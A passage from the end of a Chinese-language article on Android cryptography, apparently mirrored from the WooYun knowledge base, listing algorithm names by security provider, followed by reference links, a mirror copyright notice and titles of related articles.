algorithm: PKIX
algorithm: PKCS12PBE
algorithm: DSA
algorithm: RSA
algorithm: PBEWITHSHA1ANDDES
algorithm: DESEDE
algorithm: PBEWITHSHAAND128BITRC2-CBC
algorithm: PBEWITHSHAAND128BITRC2-CBC
algorithm: PBEWITHSHAAND256BITAES-CBC-BC
algorithm: PBEWITHSHAAND128BITRC4
algorithm: DH
algorithm: PBEWITHSHA256AND192BITAES-CBC-BC
algorithm: PBEWITHSHAAND128BITAES-CBC-BC
algorithm: PBEWITHSHAAND40BITRC2-CBC
algorithm: HMACSHA384
algorithm: AESWRAP
algorithm: PBEWITHSHAAND192BITAES-CBC-BC
algorithm: SHA256WithRSAEncryption
algorithm: DES
algorithm: HMACSHA512
algorithm: HMACSHA1
algorithm: DH
algorithm: PBEWITHSHA256AND128BITAES-CBC-BC
algorithm: PKIX
algorithm: PBEWITHMD5ANDRC2
algorithm: SHA-256
algorithm: PBEWITHSHA1ANDDES
algorithm: HMACSHA512
algorithm: SHA384WithRSAEncryption
algorithm: DES
algorithm: BLOWFISH
algorithm: PBEWITHMD5AND128BITAES-CBC-OPENSSL
algorithm: PBEWITHSHAAND3-KEYTRIPLEDES-CBC
algorithm: PBEWITHSHAAND256BITAES-CBC-BC
algorithm: DSA
algorithm: PBEWITHSHAAND40BITRC2-CBC
algorithm: BLOWFISH
algorithm: PBEWITHSHAAND40BITRC4
algorithm: PBKDF2WithHmacSHA1
algorithm: PBEWITHSHAAND40BITRC4
algorithm: HMACSHA1
algorithm: AES
algorithm: PBEWITHSHA256AND192BITAES-CBC-BC
algorithm: PBEWITHSHAAND2-KEYTRIPLEDES-CBC
algorithm: PBEWITHHMACSHA
algorithm: DH
algorithm: BKS
algorithm: NONEWITHDSA
algorithm: DES
algorithm: PBEWITHMD5ANDRC2
algorithm: DSA
algorithm: PBEWITHSHAANDTWOFISH-CBC
algorithm: SHA512WithRSAEncryption
algorithm: HMACMD5
algorithm: PBEWITHSHAAND3-KEYTRIPLEDES-CBC
algorithm: PBEWITHSHA1ANDRC2
algorithm: ARC4
algorithm: PBEWITHHMACSHA1
algorithm: AES
algorithm: PBEWITHHMACSHA1
algorithm: MD5
algorithm: RSA
algorithm: PBEWITHSHAANDTWOFISH-CBC
algorithm: PBEWITHSHA1ANDRC2
algorithm: PBEWITHSHAAND2-KEYTRIPLEDES-CBC
algorithm: PBEWITHSHAAND128BITRC4
algorithm: SHA-384
algorithm: RSA
algorithm: DESEDE
algorithm: SHA-512
algorithm: X.509
algorithm: PBEWITHMD5AND192BITAES-CBC-OPENSSL
algorithm: MD5WithRSAEncryption
algorithm: PBEWITHMD5AND256BITAES-CBC-OPENSSL
algorithm: PBEWITHSHA256AND256BITAES-CBC-BC
algorithm: BLOWFISH
algorithm: DH
algorithm: SHA1WithRSAEncryption
algorithm: HMACMD5
algorithm: PBEWITHSHA256AND128BITAES-CBC-BC
provider: Crypto
algorithm: SHA1withDSA
algorithm: SHA-1
algorithm: DSA
algorithm: SHA1PRNG
provider: HarmonyJSSE
algorithm: X509
algorithm: SSLv3
algorithm: TLS
algorithm: TLSv1
algorithm: X509
algorithm: SSL
第三方加密方案,提供 provider
https://github.com/facebook/conceal
參考
http://www.jssec.org/dl/android_securecoding_en.pdf
http://stackoverflow.com/questions/7560974/what-crypto-algorithms-does-android-support
本文章來源於烏雲知識庫，此映象為了方便大家學習研究，文章版權歸烏雲知識庫！
相關文章
- Android 二維碼相關(一)Android
- Android 二維碼相關(二)Android
- git 使用者名稱密碼相關Git密碼
- Flutter Android 端 FlutterView 相關流程原始碼分析FlutterAndroidView原始碼
- 關於區塊鏈密碼學區塊鏈密碼學
- Flutter Android 端 FlutterEngine Java 相關流程原始碼分析FlutterAndroidJava原始碼
- Android 手勢相關(一)Android
- Android 手勢相關(二)Android
- Android面試相關 - IntentServiceAndroid面試Intent
- Android 你不得不學的HTTP相關知識AndroidHTTP
- Android效能優化相關的學習記錄(1)Android優化
- 原始碼防洩密系統與程式相關性判斷原始碼
- 關於密碼密碼
- android 【儲存相關】preserveLegacyExternalStorage，requestLegacyExternalStorageAndroid
- Android application類相關記錄AndroidAPP
- Android聲音相關總結Android
- 密碼學密碼學
- 應用密碼學——古典密碼密碼學
- 《密碼學系列》|| 密碼學中的流密碼是怎麼回事？密碼學
- 應用密碼學 - 公鑰密碼密碼學
- 應用密碼學——分組密碼密碼學
- Android Studio3.1.2及Android P相關問題Android
- 密碼學基礎概念 — 密碼學複習（一）密碼學
- Android音影片開發 - MediaMetadataRetriever 相關Android
- Android進階知識：Handler相關Android
- Android多渠道打包相關介紹Android
- arm相關學習
- 新版 分銷 a8 v3 安裝後 的密碼相關的密碼
- Android之WiFi密碼檢視器AndroidWiFi密碼
- Android手機：破解鎖屏密碼Android密碼
- 【程式碼】--庫函式學習 ftp通訊 相關函式FTP
- 一些Android Studio相關的配置Android
- android反編譯相關命令總結Android編譯
- Android 高階面試-1：Handler 相關Android面試
- Android 高階面試-2：IPC 相關Android面試
- 分組密碼（一） — 密碼學複習（四）密碼學
- 古典密碼學 (一)密碼學
- 密碼學簡述密碼學